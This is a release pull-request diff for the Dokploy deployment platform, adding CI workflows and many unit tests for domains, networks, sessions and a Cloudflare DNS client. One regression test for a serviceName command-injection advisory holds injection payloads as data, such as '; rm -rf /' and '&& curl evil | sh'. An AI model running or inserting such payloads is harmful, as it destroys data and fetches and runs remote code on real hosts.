Merge pull request #4979 from Dokploy/canary

🚀 Release v0.30.0

.github/workflows/format.yml

@@ -11,7 +11,7 @@ jobs:
     runs-on: ubuntu-latest
     steps:
       - name: Checkout code
-        uses: actions/checkout@v4
+        uses: actions/checkout@v5
 
       - name: Setup biomeJs
         uses: biomejs/setup-biome@v2  
@@ -19,4 +19,4 @@ jobs:
       - name: Run Biome formatter
         run:  biome format --write
 
-      - uses: autofix-ci/action@635ffb0c9798bd160680f18fd73371e355b85f27 # v1.3.2
+      - uses: autofix-ci/action@c5b2d67aa2274e7b5a18224e8171550871fc7e4a # v1.3.4

.github/workflows/hotfix-cherry-pick.yml

@@ -0,0 +1,49 @@
+name: Hotfix Cherry-Pick
+
+on:
+  pull_request_target:
+    types: [closed, labeled]
+
+concurrency:
+  group: hotfix-to-main
+  cancel-in-progress: false
+
+jobs:
+  cherry-pick:
+    if: github.event.pull_request.merged == true && contains(github.event.pull_request.labels.*.name, 'hotfix')
+    runs-on: ubuntu-latest
+    permissions:
+      contents: write
+    steps:
+      - name: Checkout main
+        uses: actions/checkout@v4
+        with:
+          ref: main
+          fetch-depth: 0
+          token: ${{ secrets.HOTFIX_PUSH_TOKEN }}
+
+      - name: Cherry-pick fix to main
+        run: |
+          git config user.name "Dokploy Bot"
+          git config user.email "bot@dokploy.com"
+          SHA="${{ github.event.pull_request.merge_commit_sha }}"
+          if [ "$(git rev-list --parents -n1 "$SHA" | wc -w)" -gt 2 ]; then
+            git cherry-pick -x -m 1 "$SHA"
+          else
+            git cherry-pick -x "$SHA"
+          fi
+          git commit --amend -m "$(git log -1 --format=%B)" -m "[skip ci]"
+          git push origin main
+
+      - name: Sync cherry-pick back into canary
+        run: |
+          git config user.name "Dokploy Bot"
+          git config user.email "bot@dokploy.com"
+          git fetch origin canary main
+          git checkout -B canary origin/canary
+          if ! git merge origin/main -m "chore: sync hotfix from main into canary [skip ci]"; then
+            git merge --abort
+            echo "::error::Could not auto-sync the hotfix into canary (real conflict, not just history divergence). Merge main into canary manually to avoid a conflict on the next release PR."
+            exit 1
+          fi
+          git push origin canary

.github/workflows/hotfix-release.yml

@@ -0,0 +1,28 @@
+name: Hotfix Release
+
+on:
+  workflow_dispatch:
+
+concurrency:
+  group: hotfix-to-main
+  cancel-in-progress: false
+
+jobs:
+  release:
+    runs-on: ubuntu-latest
+    steps:
+      - name: Checkout main
+        uses: actions/checkout@v4
+        with:
+          ref: main
+          token: ${{ secrets.HOTFIX_PUSH_TOKEN }}
+
+      - name: Bump patch version and push
+        run: |
+          git config user.name "Dokploy Bot"
+          git config user.email "bot@dokploy.com"
+          CURRENT=$(node -p "require('./apps/dokploy/package.json').version")
+          NEW=$(echo "$CURRENT" | awk -F. -v OFS=. '{$NF++; print}')
+          sed -i "s/\"version\": \"$CURRENT\"/\"version\": \"$NEW\"/" apps/dokploy/package.json
+          git commit -am "chore: release ${NEW}"
+          git push origin main

.github/workflows/pull-request.yml

@@ -14,9 +14,9 @@ jobs:
       matrix:
         job: [build, test, typecheck]
     steps:
-      - uses: actions/checkout@v4
-      - uses: pnpm/action-setup@v4
-      - uses: actions/setup-node@v4
+      - uses: actions/checkout@v5
+      - uses: pnpm/action-setup@v5
+      - uses: actions/setup-node@v5
         with:
           node-version: 24.4.0
           cache: "pnpm"

.gitignore

@@ -43,4 +43,7 @@ yarn-error.log*
 *.pem
 
 
-.db
+.db
+
+.playwright-*
+.credentials

apps/api/package.json

@@ -28,7 +28,7 @@
 		"@types/react-dom": "^19.2.0",
 		"rimraf": "6.1.3",
 		"tsx": "^4.22.4",
-		"typescript": "^5.8.3"
+		"typescript": "^7.0.2"
 	},
 	"packageManager": "pnpm@10.22.0",
 	"engines": {

apps/api/tsconfig.json

@@ -2,13 +2,12 @@
 	"compilerOptions": {
 		"target": "ESNext",
 		"module": "ESNext",
-		"moduleResolution": "Node",
+		"moduleResolution": "bundler",
 		"strict": true,
 		"skipLibCheck": true,
 		"outDir": "dist",
+		"rootDir": "./src",
 		"jsx": "react-jsx",
-		"jsxImportSource": "hono/jsx",
-		"baseUrl": ".",
 		"paths": {
 			"@/*": ["./*"],
 			"@dokploy/server/*": ["../../packages/server/src/*"]

apps/dokploy/__test__/api/session-management.test.ts

@@ -0,0 +1,23 @@
+import { describe, expect, it } from "vitest";
+import { z } from "zod";
+
+const revokeSessionSchema = z.object({
+	sessionId: z.string(),
+});
+
+describe("revokeSession input validation", () => {
+	it("accepts a valid session id", () => {
+		const result = revokeSessionSchema.safeParse({ sessionId: "abc123" });
+		expect(result.success).toBe(true);
+	});
+
+	it("rejects missing sessionId", () => {
+		const result = revokeSessionSchema.safeParse({});
+		expect(result.success).toBe(false);
+	});
+
+	it("rejects non-string sessionId", () => {
+		const result = revokeSessionSchema.safeParse({ sessionId: 123 });
+		expect(result.success).toBe(false);
+	});
+});

apps/dokploy/__test__/compose/domain-command-injection.test.ts

@@ -0,0 +1,69 @@
+import { parse } from "shell-quote";
+import { describe, expect, it, vi } from "vitest";
+
+// writeDomainsToCompose reads the on-disk compose file; mock fs so the file
+// "exists" but does not contain the attacker's service, forcing the error path
+// whose message embeds the user-controlled serviceName.
+vi.mock("node:fs", async (importOriginal) => {
+	const actual = await importOriginal<typeof import("node:fs")>();
+	return {
+		...actual,
+		existsSync: () => true,
+		readFileSync: () => "services:\n  web:\n    image: nginx\n",
+	};
+});
+
+import { writeDomainsToCompose } from "@dokploy/server/utils/docker/domain";
+
+const baseCompose = {
+	appName: "my-app",
+	serverId: null,
+	composeType: "docker-compose",
+	sourceType: "raw",
+	composePath: "docker-compose.yml",
+	isolatedDeployment: false,
+	randomize: false,
+	suffix: "",
+} as any;
+
+const makeDomain = (serviceName: string) =>
+	({
+		host: "example.com",
+		serviceName,
+		https: false,
+		uniqueConfigKey: 1,
+		port: 3000,
+		enabled: true,
+	}) as any;
+
+// If the returned shell fragment is safe, parse() yields only string tokens.
+// A leaked operator ($(), backtick, ;, |, &&) shows up as an object token.
+const leaksShellSyntax = (command: string, marker: string) =>
+	parse(command).some(
+		(t) => typeof t !== "string" && JSON.stringify(t).includes(marker),
+	);
+
+describe("writeDomainsToCompose error path (GHSA-xmmr serviceName injection)", () => {
+	it("does not let a malicious serviceName inject shell operators", async () => {
+		const result = await writeDomainsToCompose(baseCompose, [
+			makeDomain("$(touch /tmp/pwned)"),
+		]);
+
+		// The service does not exist in the compose, so we hit the error branch.
+		expect(result).toContain("Has occurred an error");
+		// The payload text may appear inside the single-quoted echo argument, but
+		// it must never parse as a shell operator ($(), backtick, ; …).
+		expect(leaksShellSyntax(result, "touch")).toBe(false);
+	});
+
+	it("neutralizes backtick and semicolon payloads too", async () => {
+		for (const payload of ["`id`", "; rm -rf /", "&& curl evil | sh"]) {
+			const result = await writeDomainsToCompose(baseCompose, [
+				makeDomain(`svc${payload}`),
+			]);
+			expect(leaksShellSyntax(result, "rm")).toBe(false);
+			expect(leaksShellSyntax(result, "curl")).toBe(false);
+			expect(leaksShellSyntax(result, "id")).toBe(false);
+		}
+	});
+});

apps/dokploy/__test__/compose/domain/enabled-filter.test.ts

@@ -0,0 +1,306 @@
+import type { Compose } from "@dokploy/server/services/compose";
+import type { Domain } from "@dokploy/server/services/domain";
+import { addDomainToCompose } from "@dokploy/server/utils/docker/domain";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+
+// With sourceType "raw", addDomainToCompose parses compose.composeFile
+// directly instead of reading from disk, so baseCompose exposes it as a
+// getter that always reflects the current composeYaml for each test case.
+const baseComposeYaml = `
+services:
+  frigate:
+    image: frigate
+`;
+let composeYaml = baseComposeYaml;
+
+const baseCompose = {
+	appName: "test-app",
+	composeType: "docker-compose",
+	composePath: "docker-compose.yml",
+	sourceType: "raw",
+	serverId: null,
+	isolatedDeployment: false,
+	randomize: false,
+	suffix: "",
+	get composeFile() {
+		return composeYaml;
+	},
+} as unknown as Compose;
+
+const baseDomain: Domain = {
+	host: "frigate.example.com",
+	port: 8971,
+	customEntrypoint: null,
+	https: false,
+	uniqueConfigKey: 1,
+	customCertResolver: null,
+	certificateType: "none",
+	applicationId: "",
+	composeId: "compose-id",
+	domainType: "compose",
+	serviceName: "frigate",
+	domainId: "domain-id",
+	path: "/",
+	createdAt: "",
+	previewDeploymentId: "",
+	internalPath: "/",
+	stripPath: false,
+	middlewares: null,
+	forwardAuthEnabled: false,
+	enabled: true,
+};
+
+const serviceLabels = (
+	result: Awaited<ReturnType<typeof addDomainToCompose>>,
+) => (result?.services?.frigate?.labels as string[] | undefined) ?? [];
+
+describe("addDomainToCompose enabled filtering", () => {
+	beforeEach(() => {
+		vi.clearAllMocks();
+		composeYaml = baseComposeYaml;
+	});
+
+	it("generates traefik labels for an enabled domain", async () => {
+		const result = await addDomainToCompose(baseCompose, [
+			{ ...baseDomain, enabled: true },
+		]);
+
+		const labels = serviceLabels(result);
+		expect(labels).toContain("traefik.enable=true");
+		expect(labels.some((l) => l.includes("Host(`frigate.example.com`)"))).toBe(
+			true,
+		);
+	});
+
+	it("skips a disabled domain entirely (no traefik labels)", async () => {
+		const result = await addDomainToCompose(baseCompose, [
+			{ ...baseDomain, enabled: false },
+		]);
+
+		const labels = serviceLabels(result);
+		expect(labels).not.toContain("traefik.enable=true");
+		expect(labels.some((l) => l.includes("Host(`frigate.example.com`)"))).toBe(
+			false,
+		);
+	});
+
+	it.each([
+		[
+			"docker-compose",
+			`services:
+  frigate:
+    image: frigate
+    labels:
+      - traefik.enable=true
+      - traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`)
+      - traefik.http.services.test-app-1-web.loadbalancer.server.port=8971
+      - traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes=/api
+      - custom.label=preserved
+`,
+		],
+		[
+			"stack",
+			`services:
+  frigate:
+    image: frigate
+    deploy:
+      labels:
+        - traefik.enable=true
+        - traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`)
+        - traefik.http.services.test-app-1-web.loadbalancer.server.port=8971
+        - traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes=/api
+        - custom.label=preserved
+`,
+		],
+	] as const)(
+		"removes stale labels for a disabled domain from %s rebuilds",
+		async (composeType, staleComposeYaml) => {
+			composeYaml = staleComposeYaml;
+
+			const result = await addDomainToCompose({ ...baseCompose, composeType }, [
+				{ ...baseDomain, enabled: false },
+			]);
+
+			const service = result?.services?.frigate;
+			const labels =
+				composeType === "docker-compose"
+					? service?.labels
+					: service?.deploy?.labels;
+			expect(labels).toContain("custom.label=preserved");
+			expect(
+				(labels as string[]).some((label) => label.includes("test-app-1")),
+			).toBe(false);
+		},
+	);
+
+	it.each([
+		[
+			"docker-compose",
+			`services:
+  legacy:
+    image: frigate
+    labels:
+      - traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`)
+      - traefik.http.services.test-app-1-web.loadbalancer.server.port=8971
+      - custom.label=preserved
+  frigate:
+    image: frigate
+`,
+		],
+		[
+			"stack",
+			`services:
+  legacy:
+    image: frigate
+    deploy:
+      labels:
+        - traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`)
+        - traefik.http.services.test-app-1-web.loadbalancer.server.port=8971
+        - custom.label=preserved
+  frigate:
+    image: frigate
+`,
+		],
+	] as const)(
+		"removes stale labels from the previous %s service after reassignment",
+		async (composeType, staleComposeYaml) => {
+			composeYaml = staleComposeYaml;
+
+			const result = await addDomainToCompose({ ...baseCompose, composeType }, [
+				{ ...baseDomain, serviceName: "frigate", enabled: false },
+			]);
+
+			const previousService = result?.services?.legacy;
+			const labels =
+				composeType === "docker-compose"
+					? previousService?.labels
+					: previousService?.deploy?.labels;
+			expect(labels).toContain("custom.label=preserved");
+			expect(
+				(labels as string[]).some((label) => label.includes("test-app-1")),
+			).toBe(false);
+		},
+	);
+
+	it.each([
+		[
+			"docker-compose",
+			`services:
+  frigate:
+    image: frigate
+    labels:
+      traefik.enable: "true"
+      traefik.http.routers.test-app-1-web.rule: Host(\`frigate.example.com\`)
+      traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971
+      traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes: /api
+      custom.label: preserved
+`,
+		],
+		[
+			"stack",
+			`services:
+  frigate:
+    image: frigate
+    deploy:
+      labels:
+        traefik.enable: "true"
+        traefik.http.routers.test-app-1-web.rule: Host(\`frigate.example.com\`)
+        traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971
+        traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes: /api
+        custom.label: preserved
+`,
+		],
+	] as const)(
+		"removes stale mapping labels for a disabled domain from %s rebuilds",
+		async (composeType, staleComposeYaml) => {
+			composeYaml = staleComposeYaml;
+
+			const result = await addDomainToCompose({ ...baseCompose, composeType }, [
+				{ ...baseDomain, enabled: false },
+			]);
+
+			const service = result?.services?.frigate;
+			const labels =
+				composeType === "docker-compose"
+					? service?.labels
+					: service?.deploy?.labels;
+			expect(labels).toMatchObject({ "custom.label": "preserved" });
+			expect(
+				Object.keys(labels ?? {}).some((label) => label.includes("test-app-1")),
+			).toBe(false);
+		},
+	);
+
+	it.each([
+		[
+			"docker-compose",
+			`services:
+  frigate:
+    image: frigate
+    labels:
+      traefik.enable: "true"
+      traefik.http.routers.test-app-1-web.rule: Host(\`old.example.com\`)
+      traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971
+      custom.label: preserved
+`,
+			"traefik.docker.network",
+		],
+		[
+			"stack",
+			`services:
+  frigate:
+    image: frigate
+    deploy:
+      labels:
+        traefik.enable: "true"
+        traefik.http.routers.test-app-1-web.rule: Host(\`old.example.com\`)
+        traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971
+        custom.label: preserved
+`,
+			"traefik.swarm.network",
+		],
+	] as const)(
+		"regenerates routing in mapping labels for an enabled domain in %s",
+		async (composeType, mappingComposeYaml, networkLabel) => {
+			composeYaml = mappingComposeYaml;
+
+			const result = await addDomainToCompose({ ...baseCompose, composeType }, [
+				{ ...baseDomain, enabled: true },
+			]);
+
+			const service = result?.services?.frigate;
+			const labels =
+				composeType === "docker-compose"
+					? service?.labels
+					: service?.deploy?.labels;
+			expect(labels).toMatchObject({
+				"custom.label": "preserved",
+				"traefik.enable": "true",
+				[networkLabel]: "dokploy-network",
+				"traefik.http.routers.test-app-1-web.rule":
+					"Host(`frigate.example.com`)",
+				"traefik.http.services.test-app-1-web.loadbalancer.server.port": "8971",
+			});
+		},
+	);
+
+	it("emits labels only for the enabled domain when both are present", async () => {
+		const result = await addDomainToCompose(baseCompose, [
+			{ ...baseDomain, host: "enabled.example.com", enabled: true },
+			{
+				...baseDomain,
+				host: "disabled.example.com",
+				uniqueConfigKey: 2,
+				enabled: false,
+			},
+		]);
+
+		const labels = serviceLabels(result);
+		expect(labels.some((l) => l.includes("Host(`enabled.example.com`)"))).toBe(
+			true,
+		);
+		expect(labels.some((l) => l.includes("Host(`disabled.example.com`)"))).toBe(
+			false,
+		);
+	});
+});

apps/dokploy/__test__/compose/domain/host-rule-format.test.ts

@@ -35,6 +35,7 @@ describe("Host rule format regression tests", () => {
 		customEntrypoint: null,
 		middlewares: null,
 		forwardAuthEnabled: false,
+		enabled: true,
 	};
 
 	describe("Host rule format validation", () => {

apps/dokploy/__test__/compose/domain/labels.test.ts

@@ -24,6 +24,7 @@ describe("createDomainLabels", () => {
 		stripPath: false,
 		middlewares: null,
 		forwardAuthEnabled: false,
+		enabled: true,
 	};
 
 	it("should create basic labels for web entrypoint", async () => {

apps/dokploy/__test__/compose/domain/raw-compose.test.ts

@@ -0,0 +1,59 @@
+import { addDomainToCompose } from "@dokploy/server/utils/docker/domain";
+import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
+import { describe, expect, it, vi } from "vitest";
+
+vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => ({
+	...(await importOriginal<
+		typeof import("@dokploy/server/utils/process/execAsync")
+	>()),
+	execAsyncRemote: vi.fn(),
+}));
+
+describe("raw remote compose conversion (#4794)", () => {
+	it("uses the saved raw source and preserves supported mount syntax", async () => {
+		vi.mocked(execAsyncRemote).mockResolvedValue({
+			stdout: "services:\n  test:\n    image: alpine:latest\n",
+			stderr: "",
+		});
+
+		const compose = {
+			appName: "raw-stack",
+			composeFile: `
+services:
+  test:
+    image: alpine:latest
+    volumes:
+      - type: tmpfs
+        target: /scratch
+      - type: volume
+        source: test-data
+        target: /data
+    tmpfs:
+      - /cache
+volumes:
+  test-data:
+`,
+			composePath: "./docker-compose.yml",
+			composeType: "stack",
+			isolatedDeployment: false,
+			isolatedDeploymentsVolume: false,
+			randomize: false,
+			serverId: "remote-server",
+			sourceType: "raw",
+			suffix: "",
+		} as unknown as Parameters<typeof addDomainToCompose>[0];
+
+		const converted = await addDomainToCompose(compose, []);
+
+		expect(converted?.services?.test?.volumes).toEqual([
+			{ type: "tmpfs", target: "/scratch" },
+			{
+				type: "volume",
+				source: "test-data",
+				target: "/data",
+			},
+		]);
+		expect(converted?.services?.test?.tmpfs).toEqual(["/cache"]);
+		expect(execAsyncRemote).not.toHaveBeenCalled();
+	});
+});

apps/dokploy/__test__/compose/env-file-preserved.test.ts

@@ -0,0 +1,45 @@
+import { getBuildComposeCommand } from "@dokploy/server/utils/builders/compose";
+import { describe, expect, it, vi } from "vitest";
+
+// Compose now has a `createEnvFile` toggle (default true), mirroring the
+// Application builder's flag: when disabled, Dokploy never writes `.env`,
+// so a repo-tracked file survives untouched.
+vi.mock("@dokploy/server/utils/docker/domain", () => ({
+	writeDomainsToCompose: vi.fn().mockResolvedValue(""),
+}));
+
+const baseCompose = {
+	appName: "env-file-toggle",
+	sourceType: "raw",
+	command: "",
+	composePath: "docker-compose.yml",
+	composeType: "docker-compose",
+	isolatedDeployment: false,
+	randomize: false,
+	suffix: "",
+	serverId: null,
+	env: "FOO=bar",
+	mounts: [],
+	domains: [],
+	environment: { project: { env: "" }, env: "" },
+} as unknown as Parameters<typeof getBuildComposeCommand>[0];
+
+describe("getBuildComposeCommand createEnvFile toggle", () => {
+	it("createEnvFile: false never writes the .env file", async () => {
+		const command = await getBuildComposeCommand({
+			...baseCompose,
+			createEnvFile: false,
+		});
+
+		expect(command).not.toContain("base64 -d >");
+	});
+
+	it("createEnvFile: true (default) writes Dokploy's vars", async () => {
+		const command = await getBuildComposeCommand({
+			...baseCompose,
+			createEnvFile: true,
+		});
+
+		expect(command).toContain("base64 -d >");
+	});
+});

apps/dokploy/__test__/compose/network/service-networks.test.ts

@@ -0,0 +1,199 @@
+import type { Compose, ComposeSpecification } from "@dokploy/server";
+import {
+	applyServiceNetworks,
+	declareUsedNetworksInRoot,
+	resolveServiceNetworks,
+} from "@dokploy/server";
+import { db } from "@dokploy/server/db";
+import { beforeEach, expect, test, type vi } from "vitest";
+import { parse } from "yaml";
+
+const findManyMock = db.query.network.findMany as ReturnType<typeof vi.fn>;
+
+beforeEach(() => {
+	findManyMock.mockReset();
+	findManyMock.mockResolvedValue([]);
+});
+
+const baseCompose = {
+	serverId: null,
+	isolatedDeployment: false,
+} as unknown as Compose;
+
+const withServiceNetworks = (
+	serviceNetworks: Compose["serviceNetworks"],
+): Compose => ({ ...baseCompose, serviceNetworks });
+
+test("applyServiceNetworks: no-op when serviceNetworks is empty", async () => {
+	const result = parse(`
+services:
+  web:
+    image: nginx
+`) as ComposeSpecification;
+
+	const injected = await applyServiceNetworks(result, withServiceNetworks([]));
+
+	expect(injected.size).toBe(0);
+	expect(result.services?.web?.networks).toBeUndefined();
+	expect(findManyMock).not.toHaveBeenCalled();
+});
+
+test("applyServiceNetworks: injects assigned network by networkId", async () => {
+	findManyMock.mockResolvedValue([{ networkId: "net-1", name: "shared-net" }]);
+
+	const result = parse(`
+services:
+  web:
+    image: nginx
+`) as ComposeSpecification;
+
+	const injected = await applyServiceNetworks(
+		result,
+		withServiceNetworks([
+			{
+				serviceName: "web",
+				networkIds: ["net-1"],
+				detachDokployNetwork: false,
+			},
+		]),
+	);
+
+	expect(injected.has("shared-net")).toBe(true);
+	expect(result.services?.web?.networks).toContain("shared-net");
+});
+
+test("applyServiceNetworks: detach removes dokploy-network and default", async () => {
+	const result = parse(`
+services:
+  db:
+    image: postgres
+    networks:
+      - dokploy-network
+      - default
+`) as ComposeSpecification;
+
+	const injected = await applyServiceNetworks(
+		result,
+		withServiceNetworks([
+			{ serviceName: "db", networkIds: [], detachDokployNetwork: true },
+		]),
+	);
+
+	expect(injected.size).toBe(0);
+	expect(result.services?.db?.networks).not.toContain("dokploy-network");
+	expect(result.services?.db?.networks).not.toContain("default");
+});
+
+test("applyServiceNetworks: unknown networkId is skipped", async () => {
+	findManyMock.mockResolvedValue([]);
+
+	const result = parse(`
+services:
+  web:
+    image: nginx
+`) as ComposeSpecification;
+
+	const injected = await applyServiceNetworks(
+		result,
+		withServiceNetworks([
+			{
+				serviceName: "web",
+				networkIds: ["missing"],
+				detachDokployNetwork: false,
+			},
+		]),
+	);
+
+	expect(injected.size).toBe(0);
+});
+
+test("applyServiceNetworks: skips services that don't exist in the compose", async () => {
+	findManyMock.mockResolvedValue([{ networkId: "net-1", name: "shared-net" }]);
+
+	const result = parse(`
+services:
+  web:
+    image: nginx
+`) as ComposeSpecification;
+
+	const injected = await applyServiceNetworks(
+		result,
+		withServiceNetworks([
+			{
+				serviceName: "ghost",
+				networkIds: ["net-1"],
+				detachDokployNetwork: false,
+			},
+		]),
+	);
+
+	expect(injected.size).toBe(0);
+	expect(result.services?.web?.networks).toBeUndefined();
+});
+
+test("declareUsedNetworksInRoot: declares dokploy-network only when used", () => {
+	const used = parse(`
+services:
+  web:
+    image: nginx
+    networks:
+      - dokploy-network
+`) as ComposeSpecification;
+	declareUsedNetworksInRoot(used, new Set());
+	expect(used.networks).toHaveProperty("dokploy-network");
+
+	const unused = parse(`
+services:
+  web:
+    image: nginx
+    networks:
+      - default
+`) as ComposeSpecification;
+	declareUsedNetworksInRoot(unused, new Set());
+	expect(unused.networks ?? {}).not.toHaveProperty("dokploy-network");
+});
+
+test("declareUsedNetworksInRoot: declares injected networks that are used", () => {
+	const result = parse(`
+services:
+  web:
+    image: nginx
+    networks:
+      - shared-net
+`) as ComposeSpecification;
+
+	declareUsedNetworksInRoot(result, new Set(["shared-net", "unused-net"]));
+
+	expect(result.networks).toHaveProperty("shared-net");
+	expect(result.networks ?? {}).not.toHaveProperty("unused-net");
+});
+
+test("resolveServiceNetworks: returns dokploy-network by default", async () => {
+	const resolved = await resolveServiceNetworks({});
+	expect(resolved).toEqual([{ Target: "dokploy-network" }]);
+	expect(findManyMock).not.toHaveBeenCalled();
+});
+
+test("resolveServiceNetworks: omits dokploy-network when detached", async () => {
+	const resolved = await resolveServiceNetworks({ detachDokployNetwork: true });
+	expect(resolved).toEqual([]);
+});
+
+test("resolveServiceNetworks: appends overlay networks by networkId", async () => {
+	findManyMock.mockResolvedValue([{ name: "overlay-a" }]);
+
+	const resolved = await resolveServiceNetworks({ networkIds: ["net-a"] });
+
+	expect(resolved).toEqual([
+		{ Target: "dokploy-network" },
+		{ Target: "overlay-a" },
+	]);
+});
+
+test("resolveServiceNetworks: networkSwarm override takes precedence", async () => {
+	const override = [{ Target: "custom-net" }];
+	const resolved = await resolveServiceNetworks({ networkSwarm: override });
+
+	expect(resolved).toBe(override);
+	expect(findManyMock).not.toHaveBeenCalled();
+});

apps/dokploy/__test__/dns/cloudflare.test.ts

@@ -0,0 +1,214 @@
+import { beforeEach, describe, expect, it, vi } from "vitest";
+
+const mockFetch = vi.fn();
+global.fetch = mockFetch as typeof fetch;
+
+import { cloudflareClient } from "@dokploy/server/utils/dns/cloudflare";
+
+const jsonResponse = (body: unknown, ok = true, status = 200) =>
+	({
+		ok,
+		status,
+		json: async () => body,
+	}) as Response;
+
+const cfSuccess = (result: unknown) =>
+	jsonResponse({ success: true, errors: [], result });
+
+const cfError = (message: string, status = 400) =>
+	jsonResponse(
+		{ success: false, errors: [{ code: 1, message }] },
+		false,
+		status,
+	);
+
+const config = { providerType: "cloudflare" as const, apiToken: "cf-token" };
+
+beforeEach(() => {
+	mockFetch.mockReset();
+});
+
+describe("cloudflareClient.listZones", () => {
+	it("returns a single page of zones", async () => {
+		mockFetch.mockResolvedValue(cfSuccess([{ id: "z1", name: "example.com" }]));
+
+		const zones = await cloudflareClient.listZones(config);
+
+		expect(zones).toEqual([{ id: "z1", name: "example.com" }]);
+		expect(mockFetch).toHaveBeenCalledTimes(1);
+		const [url] = mockFetch.mock.calls[0] as [string];
+		expect(url).toContain("/zones?per_page=50&page=1");
+	});
+
+	it("paginates until a short page is returned", async () => {
+		const page = (count: number) =>
+			cfSuccess(
+				Array.from({ length: count }, (_, i) => ({
+					id: `z${i}`,
+					name: `zone${i}.com`,
+				})),
+			);
+		mockFetch.mockResolvedValueOnce(page(50)).mockResolvedValueOnce(page(3));
+
+		const zones = await cloudflareClient.listZones(config);
+
+		expect(zones).toHaveLength(53);
+		expect(mockFetch).toHaveBeenCalledTimes(2);
+		expect(mockFetch.mock.calls[1]?.[0]).toContain("page=2");
+	});
+});
+
+describe("cloudflareClient.listRecords", () => {
+	it("lists records for a zone", async () => {
+		mockFetch.mockResolvedValue(
+			cfSuccess([
+				{
+					id: "r1",
+					type: "A",
+					name: "app.example.com",
+					content: "1.2.3.4",
+					ttl: 1,
+				},
+			]),
+		);
+
+		const records = await cloudflareClient.listRecords(config, "zone-1");
+
+		expect(records).toEqual([
+			{
+				id: "r1",
+				type: "A",
+				name: "app.example.com",
+				content: "1.2.3.4",
+				ttl: 1,
+			},
+		]);
+		expect(mockFetch.mock.calls[0]?.[0]).toContain("/zones/zone-1/dns_records");
+	});
+});
+
+describe("cloudflareClient.upsertRecord", () => {
+	it("creates a record when none exists for the name/type", async () => {
+		mockFetch
+			.mockResolvedValueOnce(cfSuccess([]))
+			.mockResolvedValueOnce(cfSuccess({ id: "new-1" }));
+
+		const result = await cloudflareClient.upsertRecord(config, {
+			zoneId: "zone-1",
+			type: "A",
+			name: "app.example.com",
+			content: "1.2.3.4",
+		});
+
+		expect(result).toEqual({ id: "new-1" });
+		const [, createInit] = mockFetch.mock.calls[1] as [string, RequestInit];
+		expect(createInit.method).toBe("POST");
+	});
+
+	it("updates the existing record instead of creating a duplicate", async () => {
+		mockFetch
+			.mockResolvedValueOnce(cfSuccess([{ id: "existing-1" }]))
+			.mockResolvedValueOnce(cfSuccess({ id: "existing-1" }));
+
+		const result = await cloudflareClient.upsertRecord(config, {
+			zoneId: "zone-1",
+			type: "A",
+			name: "app.example.com",
+			content: "5.6.7.8",
+		});
+
+		expect(result).toEqual({ id: "existing-1" });
+		const [updateUrl, updateInit] = mockFetch.mock.calls[1] as [
+			string,
+			RequestInit,
+		];
+		expect(updateUrl).toContain("/dns_records/existing-1");
+		expect(updateInit.method).toBe("PUT");
+	});
+
+	it("defaults ttl to 1 (automatic) when not provided", async () => {
+		mockFetch
+			.mockResolvedValueOnce(cfSuccess([]))
+			.mockResolvedValueOnce(cfSuccess({ id: "new-1" }));
+
+		await cloudflareClient.upsertRecord(config, {
+			zoneId: "zone-1",
+			type: "CNAME",
+			name: "www.example.com",
+			content: "example.com",
+		});
+
+		const [, createInit] = mockFetch.mock.calls[1] as [string, RequestInit];
+		const body = JSON.parse(createInit.body as string);
+		expect(body.ttl).toBe(1);
+	});
+});
+
+describe("cloudflareClient.updateRecord", () => {
+	it("PUTs directly to the given record id", async () => {
+		mockFetch.mockResolvedValue(cfSuccess({ id: "r1" }));
+
+		const result = await cloudflareClient.updateRecord(config, "zone-1", "r1", {
+			type: "A",
+			name: "app.example.com",
+			content: "9.9.9.9",
+			ttl: 300,
+		});
+
+		expect(result).toEqual({ id: "r1" });
+		const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit];
+		expect(url).toContain("/zones/zone-1/dns_records/r1");
+		expect(init.method).toBe("PUT");
+		expect(JSON.parse(init.body as string)).toEqual({
+			type: "A",
+			name: "app.example.com",
+			content: "9.9.9.9",
+			ttl: 300,
+		});
+	});
+});
+
+describe("cloudflareClient.deleteRecord", () => {
+	it("DELETEs the given record id", async () => {
+		mockFetch.mockResolvedValue(cfSuccess({}));
+
+		await cloudflareClient.deleteRecord(config, "zone-1", "r1");
+
+		const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit];
+		expect(url).toContain("/zones/zone-1/dns_records/r1");
+		expect(init.method).toBe("DELETE");
+	});
+});
+
+describe("cloudflareClient.testConnection", () => {
+	it("succeeds when the token can list zones", async () => {
+		mockFetch.mockResolvedValue(cfSuccess([]));
+		await expect(
+			cloudflareClient.testConnection(config),
+		).resolves.toBeUndefined();
+	});
+
+	it("surfaces Cloudflare's error message on an invalid token", async () => {
+		mockFetch.mockResolvedValue(cfError("Invalid API Token"));
+
+		await expect(cloudflareClient.testConnection(config)).rejects.toThrow(
+			"Invalid API Token",
+		);
+	});
+});
+
+describe("cloudflareClient auth header", () => {
+	it("trims whitespace pasted into the token", async () => {
+		mockFetch.mockResolvedValue(cfSuccess([]));
+
+		await cloudflareClient.testConnection({
+			providerType: "cloudflare",
+			apiToken: "  cf-token\n",
+		});
+
+		const [, init] = mockFetch.mock.calls[0] as [string, RequestInit];
+		expect((init.headers as Record<string, string>).Authorization).toBe(
+			"Bearer cf-token",
+		);
+	});
+});

apps/dokploy/__test__/dns/dns-provider-service.test.ts

@@ -0,0 +1,116 @@
+import { describe, expect, it, vi } from "vitest";
+
+vi.mock("@dokploy/server/db", () => ({
+	db: {
+		query: { dnsProvider: { findFirst: vi.fn(), findMany: vi.fn() } },
+		insert: vi.fn(),
+		update: vi.fn(),
+		delete: vi.fn(),
+	},
+}));
+
+import {
+	DNS_SECRET_MASK,
+	maskDnsProviderConfig,
